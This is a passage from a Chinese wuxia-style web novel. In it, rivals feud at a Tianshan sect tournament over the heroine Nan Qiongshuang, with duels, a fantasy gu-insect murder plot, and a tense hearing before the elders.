衡黄偏开头去冷嗤一声,“还看得真紧呢。这些日子,为了这个女的几次三番下我的面子,真是不识抬举,鬼迷了心窍了。带着这个女的赶紧滚,我爹爹叫我今日不能生事,不然有你们几个受的。” 伊海川:“少掌门的吩咐,叫楚姑娘在此落座。” “她?”衡黄竟然愣了一瞬,不敢置信地笑了一声,“她?她凭什么在这坐?她拿什么身份?她跟我一起坐?你们天山可真是平白侮辱人。”食指往看台底下一指,“今日我不能发火,快滚。” 南琼霜不愿生出事端,站起身来:“伊师兄,我们换个位置便是。” 伊海川无奈,朝衡黄抱了抱拳,两个人一同转身,打算沿着坐席中间的台阶下去,衡黄却又道: “站住。” 南琼霜也有点不耐,闭了闭眼,回身望她。 衡黄正站在她身后高一级的坐席上,居高临下,抱着肩膀,蔑道:“这就要走?” 南琼霜笑:“衡小姐究竟想说什么?” 她生得幽雅郁艳,出尘脱俗,衡黄只见她那张脸,其实就没好气,她不出声倒也还罢,一开口,衡黄一股火噌地蹿上天灵盖,笑了一声: “还敢用这种语气跟我说话?你算什么东西?哪个野山窝里生出来的都不知道,怎么,攀上个高枝儿,抓着不撒手啦?顾怀瑾捧捧你,你就真以为自己配了?你坐过的地方,谁坐谁沾腌臜气,叫我怎么坐?” 南琼霜越发弯起眼睛,衡黄越嫉妒,她越觉得有趣:“那衡小姐想我怎样?” 衡黄:“还用说?去取绢子来,沾着水,用栀子花皂,给我一遍、一遍,擦干净,擦到我满意为止。” 伊海川上前:“衡小姐再怎么喜洁,观武台正中也有许多空席,倘若想坐在正中央,其实也并不必非坐在此处不可。不妨——” 南琼霜静静听着伊海川替她说话,笑而不语。 衡黄睨着他:“你如今是在教我怎么做事吗?” 伊海川低头:“不敢。” 衡黄玩着指甲:“你叫什么名字?谁的徒弟?谁的师弟?” 伊海川垂头不敢答话。 南琼霜笑了一下,“走吧。”她的命令?她算什么东西。 “站住!”衡黄断喝,“允许你走了吗?滚回来!” 南琼霜不理,拉着伊海川径直下了台阶,却不料长发猛地被人扯住一撮,她一下子被人拽得一个趔趄,几乎从台阶上翻下去。 再站稳的时候,连南琼霜这样的好脾气,都略微动了一点杀心。 忽然一道声音从上头懒散传下来,“还没长记性啊,泼婆娘?” 没等她回身看清,衡黄跟个在水边撒欢,结果不慎一脚栽歪下来的鸭子一样,扑扇着披帛,呆头呆脑地从上头被蹬了下来,李玄白在上头抱着肩膀,脚仍未收回去,居高临下道: “叫唤什么。成天拿你爹爹说事,没完没了了?不过一个衡青南,也能拿出来吹。小爷我是不是说过见你一次揍你一次?” 那一摔,衡黄差点摔了个狗啃泥,半天没站稳,螃蟹似的蹲在原地。 看清来人,她眼底恨得几乎要瞪出血来: “臭猢狲,又是你!上次姑奶奶轻饶了你,你不晓得仔细你这条性命,竟然还敢往我面前凑!”腰间长鞭“嗖”地解开,“啪”地一声抽得地面一声巨响,“姑奶奶我左手也对付得了你!还要大比?你今日狗爬着下山吧!” 李玄白笑了一声,大拇指一弹,半截森寒的冷刃闪着雪光突地从剑鞘里蹦出来,“狗爬?我倒要瞧瞧今日究竟是谁要狗爬。” 伊海川冷汗涔涔:“衡小姐,玄白师兄,且慢,今日——” 南琼霜多少有心纵容李玄白大闹,拉着伊海川,见怪不怪地退开半步,劝道,“李玄白和衡小姐的事情,你我也敢管?还是躲远些罢。” 第65章 衡黄那根软鞭,细如老虎须,然而长如藤蔓,在空中甩了好久,方才甩开,抽在地上,连地砖都鞭起几块碎角。 李玄白将剑“唰”一声尽数出鞘,嗡鸣着一旋,“就你那豆角须似的玩意儿,也能叫鞭子?我看正好系裤头。” 衡黄那张脸腾地涨红了,“当真是什么屁话都敢说,我今日非教训教训你不可!” 鞭子一旋,在空中抡得呼呼生风,抽得观武台上下坐席一阵噼啪作响。 观众四下抱头躲避,伊海川拔剑护在南琼霜身前,“楚姑娘,我们退开些为好。” 这边动乱,李玄白看都未看一眼,一跃蹬在观武台栏杆上。 那鞭子顿时扫来,李玄白弓身借力一蹬,整个人如蝗虫一般弹开,跃上衡黄头顶。 衡黄眼看着李玄白凌空,手上倒是反应不及,李玄白轻巧在她头顶跃出一个弧,举剑将劈面而来的长鞭挡了几挡,等到衡黄终于使力将那远处的鞭子抡起来,他手一抬,二三流弹般的珠子有灵识一般直奔她手腕而去。 衡黄勉强歪扭着挡了几挡,忽然“啊——”惨叫一声,长鞭骤然落地,她手腕连带着胳膊一同被打翻上去,然而瞬间竟又强压回了身子,左手几个残影脱袖而出,顿时一连串小漩涡般的残影钻入空中,亦步亦趋跟在李玄白身后。 李玄白在空中跃了几步,被那些小玩意儿追着,也犹自不慌不忙: “就这点本事,还敢天天拿掌门之女的事自夸?我要是你,早挖个坑给自己埋了,早死了还对得起门派点。” 衡黄已经按着手腕,强将鞭子捡了起来,然而手腕却抖得厉害: “可真敢夸下海口。绿眼苍蝇,蹦来蹦去,倘若叫姑奶奶一鞭子抽着,可别怪我把你那俩翅膀扯下来。” 伊海川试图调解:“玄白师兄,衡小姐的手腕已经受伤了——” 无人在意。 李玄白笑起来,出手间又是数颗珠子窜出,仿佛有意识一般径直奔衡黄手腕而去,“那你倒是来啊,抽啊,等你哪?” 一颗珠子钻向衡黄面门,衡黄当即一愣,另两颗珠子趁机一齐击在衡黄握鞭的手腕上: “嘴那么脏,有个屁大点的爹爹可了不得了,天天在这耀武扬威,真以为自己算什么东西呢?涨涨眼界吧。” 衡黄鞭子掉在地上,捂着手腕,太阳穴上青筋暴突:“你竟敢……竟敢……” 李玄白笑:“竟敢什么?”弹指间又一颗珠子迸出,忽然从旁伸出一柄雪剑来猛地一格,那珠子顿时撞在剑身上“当”一声弹开,剑身嗡鸣,宋瑶洁大怒:“李玄白,衡小姐是山上贵客,你胆敢造次!” 李玄白已经跃在空中,因着人远,声音轻飘飘的,“造次怎么?不造次怎么?这就造次了?”人语声由上落下,“——我还能更造次呢。” 然后,从天而降,在仰头看着他的衡黄的脑门上,踏了一脚。 衡黄连声都没有出。 李玄白若无其事地单脚蹦了下来,拍拍手上灰尘:“好玩,挺响一脑袋。” 衡黄顶着个鞋印原样僵了半晌,没有动。 伊海川拔剑出鞘,挡在南琼霜面前:“楚姑娘,我们需得再退开点。” 四周人潮越发无声地退开去,唯有当事几人站在中央的空处,仿佛中间是一片寸草不生的毒地。 南琼霜头疼地揉了揉眉心。 人群无声地目瞪口呆,面面相觑,敬佩又忌惮。 被周遭所有人注视着的李玄白,神色如常哼着小曲走到她身边,收剑入鞘:“你说,人的脑袋,踩一脚那么响,是不是因为里头水多啊?” “衡小姐,衡小姐!”宋瑶洁长剑入鞘,拿着剑鞘格在衡黄身前,急道: “ 这件事情,禀报给师父,师父自然会替衡小姐做主。何况您的手腕已经伤了,倘若不及时医治——” 伊海川也收剑,上前拱手:“衡小姐速速治伤才是上策,关节伤耽误不得,何况玄白师兄的性子——”说到后半段,因着当事人就在一旁,忌惮着,没再说了。 李玄白其实并没听着这边谈话,径直走上前朝她伸出手:“我扇子呢?是不是在你那?” 南琼霜:“……” 李玄白:“怎么不说话?那扇子精致着呢,上回你在我那住一阵就没了。不在你那吗?” 南琼霜偏开头:“不在。” 李玄白纳闷嘶了一声,“那在哪?” 南琼霜不理他,往方才那边看着,只见衡黄在宋瑶洁的千劝百劝下,终于一跺脚,与宋瑶洁同走了。 南琼霜心里冷笑,真是无法无天,被家里娇惯坏了。 伊海川奉命守着她,本想上前,然而被李玄白一记眼刀剜过来,只得冷汗涔涔地退到一旁。 她看在眼里,无奈笑了笑:“闭关这些日子,练得好吗?” 李玄白笑了一声,胳膊搭在看台栏杆上,“你刚刚没看见吗?身轻如燕。今年就算那个窝囊废回山,我也铁定是魁首。” 谁是魁首,她根本无所谓,不过她倒突然想起一件事。 他们的本命珠都是那样流光溢彩的吗? 她朝他伸出手:“你的本命珠给我瞧瞧?” 李玄白抱着肩膀,上下白她一眼:“给不了。这都能给你看?这可是天山上用来混饭吃的东西。” 她自讨了个没趣,收回手,“原来李大少爷给人看看珠子,就能没饭吃了。” “你少拿话刺我,这是我们天山内的规矩。” “哟,这时候守上规矩了。”她似笑非笑,“当真是想守的就守,不想守就不守。” “那是自然。规矩这东西不就是这么用的?”他两手一摊,又道,“我那支弄山月,你带来没有?” 南琼霜倚在栏杆上,静静听他往下接。 “方才把那婆娘得罪了,我怕一会上台,她给我下黑手。” 他也倚在栏杆上,往下遥望,山风轻微,他碎发在眼尾那颗小泪痣旁扫着,“今年我必须夺魁。正好你坐那中间,位置好,你给我看着点。” 她自袖中把那支弄山月掏出来,这箫,顾怀瑾不论如何不许她动,但越不许,她越想带,何况是能立时叫来李玄白的东西。 “你的意思是,用箫来帮你指来物的方位?” 李玄白笑:“正是。” 她把那箫在掌中转着玩:“那又何必用你这支箫?旁的东西不也一样?” 李玄白得意笑了一声,“我就是要看看,我的东西,你有没有随身带着。” 神经。南琼霜翻个白眼。 “不过你今年非夺魁不可?” “是啊。”李玄白似乎有点感慨,两只胳膊搁在栏杆上,眺望远处山谷间正逐渐升起的日轮,“为此,还带了点东西来。” “什么东西?”她陡然又看见了长发上黏连的糖丝,心火顿起,拿着帕子一点一点把那些糖捏下来。 李玄白忽然在她眼皮底下摊开掌心,掌心中一只圆滚滚的小球。 “这是什么?”她把发丝捋到身后。 李玄白只是眸光深深,笑而不语。 南琼霜将那小球接过来,摇了摇。 倒是很轻,但也不大像毒雾一类的东西,里头并不均匀。 摇得狠了,放在耳旁听,里面似乎有些窸窣声响,规律但细微,不知为何,听着就有点令人胆寒。 她忽然意识到,这里面的东西——可能是活的。 她一时惊讶,“你带了蛊虫来?” 李玄白原本摆出一副神秘兮兮的姿态,想跟她显摆一把卖个关子,不想却被她一下子猜到了,一时不爽:“你怎么知道?” 南琼霜沉默不语。 她道:“你要用这东西对付谁?” 李玄白笑,“你说呢?” 南琼霜一时竟不知自己该有怎样的心情,似乎有些东西自然而然地冒上来,却又被她刻意按捺回去,只是平静问:“什么蛊?怎么种,怎么发作的?” “蚰蜒蛊。见血就能钻进去。”他笑起来,那颗耳坠晃得招摇又妖孽,“到时候,随意划个小口,手上一弹,他就离死不远了。” 死什么死?顾怀瑾死了,她上哪找镇山玉牌? 她问:“那么,怎么解?” 李玄白手指抱着胳膊,有一搭没一搭敲着,“不知道,没解过。大约得把这虫子挖出来吧?神人也挖不出来。” 说完,似笑非笑睨她一眼:“想给那个姓顾的解?” 要真让你得手,才是坏了我的好事了。南琼霜垂眸,将那弄山月在掌中转着。 “我是无所谓,反正要下山了。”她道,“下山文牒什么时候递给顾怀瑾?” 一提到这事,李玄白就心情好,手指在栏杆上敲得仿佛弹琴一般,“不如等他毒蛊发作,快咽气的时候吧?那时候人大约最绝望。”说着竟然愉悦笑起来,“你猜,快死的时候,让他听见你我要一同下山,他表情得是什么样啊?我惦记一个月了,做梦都想看。” 她眉头皱了一瞬,心烦意乱,揉着自己眉心。 “怎么?你不想看?”他敏锐察觉到她那片刻的背离,当即转了神色,夺过她掌中的弄山月,在她额上轻敲一下,“在他院子里住了一个月,就不认我了是吗,楚皎皎?” 她将那箫拨开,“别闹。”偏开头去。 “你把话说清楚。”他一个箭步跨到她另一侧,手一把按在栏杆上,不准她看别的,“是你答应我要一同下山,我才把你在他那放了一个月。怎么,如今……” 忽然“当”一声巨响,一颗流星般的珠子猛然砸在两人倚靠着的栏杆上,搓出一些火星。 带起的风摇动李玄白的小耳坠,他霎时朝那珠子的来向盯去,阴鸷不已。 顾怀瑾张开手,一瞬,那珠子乖顺收回他掌心,他游刃有余收入袖中,神色如常走在最前头,身后随着宋瑶洁和衡黄,一路衣袂轻扬,在山上众弟子或敬或畏的目光之中,遥遥走来。 她四下被一群山上弟子围绕着,众人之间,顾怀瑾却仿佛只看得见她似的,望着她,连眼珠都没有错一瞬。 她竟然有点心虚,垂下眼睛。 忽然,四周的人群一齐屈膝行礼,她前头的人骤然矮了一片。 她站在中间,一时有点惊讶,鹤立鸡群似的不自在。 顾怀瑾却只是略略颔首敷衍一下,脉脉直望着她道:“皎皎。”登上观武台的台阶,一步步在众人注视里,径直朝她走来。 周围弟子慌忙沉默着作鸟兽散了,她身边顿时空了一片。 南琼霜的心被缓缓吊了起来,无声后退了半步。 终于,他站定在她面前,拈起她一缕鬓发在指尖捻着,“不是说过了,不要和他说话?” 她一时不知道怎么答,旁边李玄白嗤笑一声,把他的手指从她长发上拨开:“她跟我说不说话,你还管得了?手拿开。” 顾怀瑾垂首,长睫安安静静压着眼眸,一时竟然不知在想什么。 最近这人实在有些不大正常,连南琼霜也不敢激他太过,于是拉着他的袖子摇着,轻声劝:“怀瑾……” 顾怀瑾面无表情。 李玄白却是笑了一声,看着他那脸色,饶有兴致,“哎唷,什么表情啊。生气了?”抱着肩膀,“挺有意思。原来我们顾少掌门也有发火的一天,我还当你一棍子打不出两个屁呢。” 顾怀瑾不理,只是握着她的胳膊,将她拉到身侧,一面冷淡道: “听说 你打了衡小姐?师叔命我前来调停,来问问你到底是怎么回事。” 眼下衡黄脸上那个鞋印已经淡了不少,只是额头鼻梁依旧残余了一点红印子,两颊气得涨红,仍未消下去,“对。这不知天高地厚的泼皮无赖,不过为一点小事,竟然敢如此造次!” 李玄白冷眼瞧着她:“你倒也有脸说?” 衡黄笑:“你给我等着吧。你瞧着顾怀瑾是向着我还是向着你,山上长老是向着我还是向着你。” 忽然却见一旁,南琼霜不知什么时候竟然贴到了顾怀瑾身侧,她两下过去从中将两人生生拨开,自己挤在两人中间。 衡黄:“少贴过来,滚远点!” 南琼霜垂眸,被她蠢得笑了一下。 顾怀瑾面色冰寒着默了一瞬,然后叹息着笑了,声音很轻: “衡小姐,没完了?顾某给的面子还不够,还要再多?” 那语气,听得南琼霜浑身发毛。 衡黄:“你……你什么意思。为了这个女人,你这么跟我说话?” 顾怀瑾笑而不语,忽然瞧见了她长发沾了些糖浆,黏得发丝搓成几缕,连衣服上也有些红色印记,拿出帕子替她擦拭着: “怎么脏了,皎皎?” 南琼霜装着胆怯,往他身上靠了些许,袖子掩在唇上,盈盈垂泪: “那支糖葫芦……伊师兄买来后,刚要递给我,这时衡小姐来了,说她想要,叫伊师兄给她。伊师兄说再去替她买,她也不愿,伊师兄只好给了她。结果递给她……她不接,说原本就没想要,只是不想我有。” 顾怀瑾缓缓垂眸替她擦着,沉默许久。 衡黄笑了:“没错。就为了这么点小事,那个李玄白竟敢动刀动枪地跟我打架,拿他那两颗破珠子把我手腕打脱臼了,方才才接回来。” 李玄白:“才脱臼啊?今日失手了。” 衡黄猛地一拍栏杆:“臭猢狲!顾怀瑾,把他给我拖下去教训教……” 话未说完,忽然一阵磅礴掌风呼啸而过,观武台坐席一阵震颤颠簸,众人仰头一望,衡黄纤细身影卷入风中旋转几周,凝为一个小点,看不见了。 空中顿时砸下不少碎石,众人慌乱伏身躲避,顾怀瑾平静如常地收了手,替她拿袖子挡着,一面道,“皎皎,小心。” 南琼霜压根没想到他今日当真会出手,那样跋扈的人物,就这么撕破脸皮,山上形势岂非要大变? 何况,将人扔飞那么远,倘若摔在山岩上,别摔死了? 忽然一颗小石子打在她肩上,她不由在他怀中缩了一下,急道:“怀瑾,其实不必……” “不必什么?”他倒是从容如常,替她护住肩头,“别害怕。我今日,不过有点生气。” ……他今日确实有些可怕。 衡黄固然可恨,但她就想平安无事地拿到镇山玉牌,旁的她都不在乎,别给她节外生枝。 她拉着他袖子劝:“怀瑾,我不生气。你别……” 宋瑶洁两三步冲过来,一瞬拔了剑指着他脖子:“顾怀瑾,你今日疯了!衡山派的独女你也敢如此对待?!要是有个三长两短,我们两个如何交代!” 顾怀瑾替她擦拭着发上的糖,冷眼看着宋瑶洁发飙,不语。 宋瑶洁怒得连剑尖都在发抖:“你如今为了一个女人,魂也丢了,名誉也扔了,威望也不要了,对吗?” 顾怀瑾抬起头,淡淡笑着:“对。” 宋瑶洁两眼瞪得铜铃般大,气喘如牛,恨恨将剑收入鞘中。 “跟我走。去见师父。” “我会去的,师姐。”他语气有些疏懒,仿佛方才的事,在他心上生不出什么波澜,“不过,要稍等一下。” 他垂首,握着怀中人的手,摩挲着她手中那支弄山月,语气仍是温柔: “皎皎……我不是说过,不要跟他说话,不要用他的东西,不准把他的东西带在身上吗?皎皎?” 捧着她的脸,逼她直视他那双混沌漆黑的眼睛,轻轻道: “又不听话。” 她一时不知说什么好。这么多人在这,可是他竟然这样不对劲,他到底要做什么? 她怕事情失去控制,轻声道:“我回去再同你解释……” “解释什么?有什么好解释的?”李玄白踱了过来,“还用解释吗?你看不出来?我的东西……” 人忽然也不见了。 再一抬头,空中竟有个雨点般的影子,在风中失去方向难以自控,遥遥画了一条圆满的弧,重重砸在观武台坐席上。 众人一阵惊呼,连南琼霜心里都抖了两下。 那种力道,还特意拍在了观武台上,她看得出来,顾怀瑾是动了杀心的。 “他……”她眼神从远处收回来,刚一转头,竟见顾怀瑾逼在她眼前,深不见底的眸子仿佛夜半密林里瘴气萦绕的沼泽,映着她不安的脸。 这人真的不对,她忙道,“怀瑾,你要杀他?” 顾怀瑾两手托着她腰肢,把她压进怀里,望着她一双清泉般的眸子,轻轻道: “我动了杀心,皎皎很意外?” “既然皎皎同他亲近,同他交好,那么我会动杀心,皎皎不早该预料到?” 第66章 “我……”她环视一圈,惊觉不止宋瑶洁和伊海川,整个练武场的人一齐鸦雀无声地盯着他二人拥抱,霎时浑身不自在,赶忙推开他,“你别在这里发疯,有什么事情我们回去说。” “回去?”他略微放开她,神色却了无生气,“回去,你会同我好好说话吗,皎皎?我们没剩几天了。” 她长吸一口气,“会,真的会。你不要这样。” 顾怀瑾垂首,四面八方的视线仿佛只会插穿她一个,对他竟完全无效,他认真冷静而又混沌茫茫地捧着她的脸,分辨她的话,一会儿,终于放开了她。 “这两掌,山上大约再无人敢为难你。”他意味深长地瞥了一眼宋瑶洁,竟将宋瑶洁盯得一瞬发毛,“皎皎还想在这看吗?若还想看,叫伊师弟陪你;若不想,叫伊师弟陪你回房。” 她从他怀里脱身出来,“伊师兄也要大比呢。” 他点点头,“好。” 然后,终于放开了她,走到远处砸塌了观武台坐席、仍未缓过来的李玄白身边,在他脚侧站定。 “死了没有?若还没死,跟我去见师叔。” 李玄白陷在坐席和栏杆的碎片中间,阴戾笑着,强坐起身,“艹……他妈真是给了你小子脸了。找死?” “省省吧,已经惹了那么大的事,就快死了,还找呢。”顾怀瑾不冷不热地讽,“师叔叫你呢。眼下我也得去寻他老人家,你跟我同去。” 李玄白:“谁他妈要跟你同去,赶紧滚!” “你以为我想吗?”顾怀瑾笑,“放你在这,便整日跟个苍蝇一般绕着皎皎转。不把你带走,我怎么放心。” 朝身后众人道:“来人,把李玄白给我带下去。” 李玄白坐起了身,但方才摔得实在太猛,捂着心口,笑着:“我不过一时不备,你竟然敢这样暗算老子?今日台上我要你好看,你瞧好吧。” 顾怀瑾不可置否笑了笑,“就你那临时抱佛脚的功夫?省省吧。”转头轻描淡写道,“带下去。” 李玄白强撑着自己站起了身,拍拍掌上灰尘,环视一圈:“谁敢?老子自己去。” 方才想上前的侍卫触上他目光,全都沉默着垂眼,不敢对视。 顾怀瑾看着,也没说什么,最后朝观武台正中央坐着的人远远看了一眼,转身,“走吧。” * 山上大比,最先上场的似乎是些习武年头尚短的弟子。 这山上的人,她只认识有名有姓的几个,其他人,即便伊海川时时在旁替她说明,她也不大记得住,只是走马观花地看。 台上胜负又分了。一个弟子被对面一脚踹出擂台,划出一道弧线,跌入一旁的水中,水面莲叶摇了几摇。 对面的人张开手掌,空中四颗珠子立时收入掌中,仿佛被手掌吸了过来似的。 “他竟然有四颗?今年又多一位有天赋的。”伊海川喃喃。 “天山之上,是按珠子的数量来定功力的?”她问。 知道她和顾止的关系,伊海川也不瞒她: “正是。功力越深厚的,可驾驭的珠子就越多,像我这般愚钝的,上山五年,才能驾驭五颗。上面那一位据说才入山三年,就已经有了四颗珠子,虽然仍未能与大师兄 当年相比,但也是可塑之才了。” 提起顾怀瑾,她问,“那么,怀瑾能驾驭多少颗?” “七颗。”伊海川道,“是这山上最多的。大师兄天资异禀,练功也踏实,其他人难以望其项背。” 闻言,想起李玄白那样狂,她觉得有趣,笑了一下,“那李玄白呢?” “玄白师兄和瑶洁师姐都有六颗,三人年年山上前三甲,基本不曾变过。” 不过,今年大比前一个月,顾怀瑾天天关在她房里,不去练功,甚至还整夜整夜不睡觉,恐怕难保从前的名次了。 还有一件事,她一直想问。 她意味深长地笑道:“这些日子,李玄白闭关我是知道的,怀瑾似乎一直在忙公务,那么瑶洁师姐呢?练得如何?” 伊海川以为她是担心顾止的名次,“瑶洁师姐最近也忙得厉害。山上阴阳钥丢了,大师兄和长老这些日子闹得不愉快,命令时有不听。玄白师兄素来不管这些事。事情就全交到了瑶洁师姐手上。” “噢。”她仿佛嗅到了猎物气息的花蛇,在暗处兴致盎然地盘起尾巴,“山上阴阳钥找到了吗?我听说,那东西不是很重要?” “正是,可惜直到现在,也没有头绪。”伊海川叹了口气,“阴阳钥一只可开九曜逆轮,一双可开星辰阁。这样重要的东西,到现在还没有找到,师姐已经急疯了,派人在星辰阁和九曜逆轮阵前两头把守。可惜,贼人窃了钥匙后竟失了消息,不再有动作。” 那么,那窃贼八成是猜到此时山上会戒严,故而隐在暗处,伺机而动。 她叹了口气。眼下顾怀瑾是差不多拿下了,可是星辰阁竟然又开不了。这山上有没有会算命的?替她算算几时能再开星辰阁、几时能寻到一条出山密道,最好是命运一齐将两者送到眼前。 擂台上人又上了。南琼霜方直了直腰,想瞧仔细些,忽然见青灯穿过人群,走到她面前,对她行礼道: “楚姑娘,长老唤您往菩提阁谈话。” 到了菩提阁,才知道今日有多热闹。 菩提阁原本便不大,是慧德日日在此礼佛抄经的地方,进门一小间厅堂,珠帘内便是罗汉床。 眼下,四四方方的小厅堂里站了许多人,搭眼一瞧,顾怀瑾、李玄白、宋瑶洁、衡黄竟然全都在此,罗汉床内坐着慧德和另一位鬓发斑白、长髯飘飘的老者,想来应是衡黄那有名的爹爹衡青南。 伊海川替她撩开了阁楼门口的珠帘,轻轻放下,檀木珠相击,里头的人听见声音,都回头看了一眼。 顾怀瑾同她对视一眼,垂着眼帘,不动声色地挡在她身前,却不免往李玄白身上靠了点,被李玄白翻了一记白眼:“滚。” 顾怀瑾冷笑一声,拿眼神骂他有病。 “人到齐了。”慧德啜了一口茶,“今日把诸位叫来此处,是为了问问,黄儿在山上受了欺负之事。谁先说?” 无人应答。 慧德点名:“怀瑾。” 顾怀瑾垂首:“衡姑娘自己的事,还是由衡姑娘自己说为好。” 慧德一双三角眼瞄了他一眼。自从顾怀瑾那次下山之后次日折返,他便与从前不大一样,不似以前好摆布了。 衡黄一双眼已经哭肿了,头上顶着个滑稽的大包,与她的双丫髻叠在一起,仿佛头顶上顶了一叠豆包: “我今日去了观武台,见楚姑娘在那里坐,便说,这里不是你该坐的,这是我们才能坐的地方,叫她起开。不想,正说着,被人一脚从……从台阶上蹬了下来,还拔出剑来跟我打架,使了两颗珠子,将我的手腕打得脱了臼……” “诶诶诶诶,你说话可别掐头去尾啊。”李玄白习惯性地想抱肩膀,一看慧德和衡青南正往这一边看,老实起来,“你叫人换地方,话是怎么说的,我都听到了。”学着衡黄的尖细嗓音: “‘她拿什么身份?她跟我一起坐?你们天山,真是侮辱人!’还有,‘你坐的地方,谁坐谁沾腌臜气,给我拿栀子花皂擦干净!’是不是你说的?” 慧德清了清嗓子。 十足明显的提醒,李玄白置之不理,“还有呢,一根糖葫芦也要抢,还说‘我不想要,但她也不能有’。怎么着?衡山派穷到这地步,要到天山上来跟人抢糖葫芦?招笑。” 衡青南啜了口茶,茶盖刮了刮杯缘。 衡黄见衡青南没说话,哭道,“爹爹!” 衡青南:“怀瑾素来稳重周到,不想竟也对小女下了手。前些日子怀瑾造访衡山,衡山还以礼相待,不知今日这是为何?” 顾怀瑾沉思一阵:“其实,也不止这一件事。楚姑娘是我的贵客,当日因我受伤,我心中有愧。不想,先是撞见衡姑娘在楚姑娘窗下大骂,后来有一日回院,又撞见衡姑娘命令楚姑娘跪在院子角落中的泥水里,还要她跪行爬到衡姑娘脚下。” “这已经是两件事。至于今日,楚姑娘坐在观武台中央,原本便是我的吩咐。伊师弟告知了此事,衡姑娘还不依不饶,不准楚姑娘落座,甚至侮辱她,叫她将坐席擦干净。” “那支糖葫芦,也是我的吩咐,是我叫伊师弟买来给楚姑娘的。衡姑娘也并非想要一支糖葫芦,不过借着身份之差,意图羞辱我的客人。此事怀瑾忍耐已久,今日不想再忍。” “小女确乎是任性一些,是我们这些年宠着长大的,并没吃过苦头。”衡青南叹了一声,衡黄当即凄惨哭了一声,“爹爹!” 衡青南继续道,“只是,为了一个借住天山的客人,几句气话,一个席位,一只糖葫芦,竟将小女右腕骨捏折,左手腕打脱臼,甚至人摔飞出去,砸在山岩上晕了半个时辰,你们天山,是否欺人太甚?” 慧德垂眸啜了一口茶,那意思是并不欲阻止。 李玄白笑,“那她任性妄为,口出狂言,出门在外没一点教养,这些事情,怪谁?” 慧德指节在窄桌上叩了叩:“李玄白。” 李玄白不理,“倘若家里教的好些,不仗着掌门爹爹仗势欺人,也不大摇大摆四处撒泼,谁会动她?” 慧德提高了声音:“李玄白!” 衡青南一个字也吐不出来,胸口起伏得仿佛哮喘的病人,胡子吹得卷一下,直一下。 李玄白竟然住了口。慧德坐在珠帘内,一双眼如淬了毒的钻头盯在他身上,一时连他竟然也低了头。 这是怎么回事?她可是亲耳听到那李玄白唤慧德“老儿”的。如今只是被盯着,竟服软了? 眼光一转,看见了珠帘内的衡青南。 是因为衡青南在场吧。这李玄白,身份不简单,那句“唯有顾清尧知道我的事吧”,便是说,天山保守着他一个重大的秘密。不过,他有一个秘密,这事不能为外人所知,所以当着外人,他也不得不收敛。 有点意思,南琼霜心里想,平日里他身份方便,替她说话容易,然而他是否真心站在她这一边,为了她能做到哪一步,这时候,才验得出。 李玄白不说话了,不耐烦歪着头。 宋瑶洁朝衡青南抱拳:“衡掌门见谅。玄白师弟素来是不懂收敛,任性妄为,他的话并不能代表天山。倘若得罪,瑶洁向您道歉。” 李玄白冷嗤一声。 “那怀瑾呢?”衡青南道,“怀瑾素来是好脾性,却为了什么坐席与糖葫芦,将小女一掌掀飞,此事是否太过分了?” 顾怀瑾低头道,“晚辈与玄白师弟同罪,愿意一同领罚。” 李玄白笑道,“比上我了?” 顾怀瑾不语。这些日子,他也学聪明了,既然总有比他更过分的,那么他偶尔不择手段一把,师叔再罚他,他也可以拒不认罪。 既然罚得从不公正,那么有些事情,他也不必遵守。 “你同李玄白是能放在一起比的?”慧德垂眼,将膝盖上袈裟的褶皱铺开: “他是什么位置,你是什么位置。你也能任性?这么大的人了,不学着分担山内事务,为了一个女人整日关在房里,阴阳钥的 事情也不顾。如今竟然还学着师弟任性妄为起来。你就是这么做师兄的?” 顾止只是一口咬死:“只要师叔二人同罚,晚辈全部认下。” 衡青南试探着看慧德。 慧德却只是垂着眼,拨着掌中念珠,不说话。 顾止明白,那意思是,罚不了。 原来只要把李玄白一同架起来,他便也能安然无虞,从前他在山上忍气吞声那么些年,也真是白忍了。 他不免在心中冷笑一声。 “有一件事,我倒是实在想问问怀瑾。”罗汉床上,慧德叹息,望了青灯一眼示意她斟茶,“你一向是最周到体面的,再怎么生气,老夫也从未想过你会当众动手,甚至还是对老夫的外甥女。怎么?最近心中不顺?可是因为老夫?” 这一个月以来,确实是心中不顺。但并不是因为慧德。 甚至根本无暇想到他。 这时候,想到她就站在他身后,非常想转过身去看看她。 可是,还是忍住了。 今日如此冲动……不,其实也不是冲动。衡黄那脾气他原本便是厌烦已极,此前不过将两山和谐摆在自己的情绪之前,逼迫自己敷衍。 但是,如今,她要下山了。他再也见不到她了。 在山上剩下的这最后两三日,她不能再受一点委屈,无论任何理由。 一切代价,他承受下来便是。 他道:“不敢。” 慧德:“单纯是为了给这楚姑娘出气?” 顾怀瑾垂着眼不答话,李玄白冷笑一声。 菩提阁内一时沉默。 南琼霜在一旁听着,心中想,今日特意把她叫来是做什么?这么久,也没她什么事。 这时,衡青南和慧德无声对视一眼,一齐朝她看来。 她心里咯噔一下。 衡青南叹息道:“我知道,长老多有难处。此事,小女也有错,不妨双方各退一步。怀瑾和李公子,一会便要去擂台上大比,大比一年一度至关重要,我也不愿坏了两山多年交情。” “不过,黄儿的手腕伤得重。我亦爱女心切,此事不能轻易放过。不若此事因谁而起,便追责于谁。” 顾怀瑾:“您的意思是?” “既然此事皆因楚姑娘而起,那么,黄儿受了怎样的伤,原样在楚姑娘身上讨回来就是。” 南琼霜在心里冷笑一声。 一个女人两个男人搅合在一起争风吃醋,结果最后倒霉的是她? 顾怀瑾:“此事恐怕不行。” 李玄白:“楚皎皎不能罚。” 两人异口同声,彼此厌恶对视一眼。 李玄白:“衡黄那德行,岂不活该?” 衡青南再也忍不了,竟将茶盏一掷砸碎在地,滚烫的茶水迸溅四处,宋瑶洁大惊:“衡掌门!” 衡青南:“竖子!给我跪下!” 李玄白笑吟吟站在中间,膝盖一点也不肯弯一弯。 宋瑶洁拔剑出鞘,“今日两山情谊岂非要被你二三言语毁坏殆尽?!给衡掌门跪下!” 李玄白只是站着,上头慧德终于拍了桌子: “李玄白,山内我时常宠你忍你,不想竟将你宠成这个样子,叫你口出狂言!我警告你,不论如何,山内仍是老夫做主。不是想出山吗?再如此自命不凡,小心老夫将你打入逝水牢,关上五十年!” 顾怀瑾一愣。他也要出山?此前怎么不曾听说。 一提到“出山”,李玄白周身嚣张气焰顿时刹住,不说话了。 慧德:“你若要出山,楚皎皎就得罚。若不罚,你就不得出山。选!” 南琼霜站在原地,屏息听着。 衡青南:“究竟罚不罚?” 